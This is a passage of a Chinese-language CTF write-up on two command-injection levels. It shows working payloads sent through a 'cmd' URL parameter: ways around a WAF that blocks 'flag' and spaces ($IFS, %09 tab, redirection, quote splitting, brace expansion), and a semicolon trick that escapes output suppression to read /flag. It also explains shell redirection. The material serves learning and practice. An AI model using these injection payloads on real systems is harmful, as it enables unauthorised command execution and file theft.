Level 7
分析源码
- 直接定位到关键代码 `preg_match("/flag| /", $cmd)`
- 这次的[WAF] WAF 直接匹配了 `flag` 和 空格
解题分析
- 限制住了
flag
, 可以通过通配符来绕过 - 那限制住了 空格, 应该如何分割命令与参数
- 这里就介绍几种方式, 来代替空格
$IFS
在终端中, 其的默认值是空格、制表符和换行符?cmd=cat$IFS/fla?
%09
也就是Tab的 URL编码?cmd=cat%09/fla?
- 通过重定向的方式
?cmd=cat</fl"“ag
```
- 这段命令的意思是, 把/flag重定向给cat(这里使用”"进行绕过flag的过滤)
- 使用
{}
, 这个只在 Shell 中生效{cat,/f'l'ag}
- 这里用到了 花括号扩展-Shell命令, 具体用法如下
- 生成一系列字符串或路径
{a,b,c}
扩展为a
、b
、c
{1..5}
扩展为1 2 3 4 5
{a..z}
扩展为从a
到z
的所有字母
- 还可以组合使用
file_{1..3}.txt
扩展为file_1.txt file_2.txt file_3.txt
echo {A,B}{1,2}
会输出A1 A2 B1 B2
- 生成一系列字符串或路径
解题步骤
- 这里就不截图了
- 其实解析中已经给出很多个 Payload 了
Level 8
源码分析
- 这里不在有WAF了, 不过我们执行的命令似乎也显示不出结果了
- 定位到这句命令
system($cmd.">/dev/null 2>&1");
- 如果看完了
探姬
写的注释- 应该明白了什么是
标准输出
,标准输入
,标准错误
吧(还不明白看下文解题分析内的讲解) - 而上文的这句代码
>/dev/null
, 把标准输出
丢进了/dev/null
中, 并且2>&1
把报错也当成正常输出, 都不在会显示了
- 应该明白了什么是
- 那如何把 flag 显示出来?
解题分析
- 通过上面的分析, 明确了目标, 就是要把
标准输出
正常显示出来, 而不是输出到/dev/null
- 在解题前, 还是再学习一下
标准输出
这些概念(引用了一下官方的WP)- 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
- 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
- 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出
- 平时我们使用的"<“和”>"其实就相当于是使用"0<“和"1>”,下面是几种常见的使用示例:
符号 示例 解释 >
echo "Hello" > file.txt
将 echo
的输出重定向到file.txt
文件<
wc -l < file.txt
将 file.txt
作为wc
命令的输入>>
echo "World" >> file.txt
将 echo
的输出以追加方式重定向到file.txt
<<
cat << EOF
将输入的文本作为 cat
命令的输入,直到遇到EOF
结束<>
cat <> file.txt
以读写模式打开 file.txt
并将其内容作为输入$> \vert $ echo “Override” $> \vert $ file.txt 强制覆盖写入到 file.txt
文件,即使它具有写保护: >
: > file.txt
将 file.txt
截断为0长度,或创建空文件>&n
ls >&2
将 ls
的标准输出和错误输出重定向到文件描述符n
(如2
为标准错误输出)m>&n
exec 3>&1
将文件描述符 3
重定向到描述符1
,即输出重定向到标准输出>&-
exec >&-
关闭标准输出 <&n
exec <&0
输入来自文件描述符 0
(标准输入)m<&n
exec 3<&0
将文件描述符 3
重定向到描述符0
(标准输入)<&-
exec <&-
关闭标准输入文件描述符 <&n-
exec <&0-
重定向并关闭文件描述符 n
(标准输入)>&n-
exec >&1-
重定向并关闭文件描述符 n
(标准输出)- 注意: 第 6 行中, $> \vert $ 是
>|
, 因为处于表格中|
的渲染冲突无法正常显示, 所以使用这种格式
- 注意: 第 6 行中, $> \vert $ 是
那怎么解题呢
- 其实很简单, 只需要把后面的重定向截断就行
- 即在原本命令后面添加一个
;
分号
?cmd=cat /flag;
解题步骤
- 直接上图, 不多说了